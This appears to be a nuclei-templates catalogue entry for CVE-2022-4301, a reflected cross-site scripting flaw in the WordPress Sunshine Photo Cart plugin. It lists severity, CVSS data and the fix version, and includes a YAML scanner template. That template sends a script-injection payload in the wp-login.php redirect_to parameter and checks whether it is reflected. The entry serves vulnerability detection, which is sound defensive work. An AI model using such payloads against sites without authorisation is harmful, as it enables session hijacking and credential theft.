CVE-2022-4301: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
- Template: CVE-2022-4301
- Name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
- Description: WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- Remediation: Fixed in version 2.9.15.
- Severity: medium
- Authors: r3Y3r53
- Tags: cve2022, cve, xss, sunshine, wordpress, wp-plugin, wpscan, unauth, sunshinephotocart, vuln
- References: https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d, https://nvd.nist.gov/vuln/detail/CVE-2022-4301, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates, https://github.com/cyllective/CVEs
- Cves: CVE-2022-4301
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-4301.yaml
- Digest: 4b0a00483046022100a20f7694bd236add72fafff0c4fb95b5a137b6e3e31d846c1d7075fa4d10c7e2022100b037093aaed4fd6f4f0e9aa0cda9896c204711aa0b72bbab902879075356894b
- Created at: 2023-03-05T14:02:13Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1360
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4301.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00947
- Epss percentile: 0.6206
- Cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 1
- Product: sunshine_photo_cart
- Vendor: sunshinephotocart
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| sunshinephotocart:sunshine_photo_cart | yes | /v1/products/sunshinephotocart/sunshine_photo_cart |
Labels
- Name: WordPress Sunshine Photo Cart - Reflected XSS
- Impact: Attackers can execute scripts in users' browsers, potentially stealing cookies and hijacking user sessions.
- Remediation: Update to version 2.9.15 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Attacker needs user to visit malicious link or page
- Labels source: projectdiscovery
- From cve: CVE-2022-4301
```yaml
id: CVE-2022-4301
info:
name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 2.9.15.
reference:
- https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
- https://nvd.nist.gov/vuln/detail/CVE-2022-4301
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4301
cwe-id: CWE-79
epss-score: 0.00947
epss-percentile: 0.6206
cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: sunshinephotocart
product: sunshine_photo_cart
framework: wordpress
tags: cve2022,cve,xss,sunshine,wordpress,wp-plugin,wpscan,unauth,sunshinephotocart,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- 'Registration Form'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
digest: 4b0a00483046022100a20f7694bd236add72fafff0c4fb95b5a137b6e3e31d846c1d7075fa4d10c7e2022100b037093aaed4fd6f4f0e9aa0cda9896c204711aa0b72bbab902879075356894b:922c64590222798bb761d5b6d8e72950
```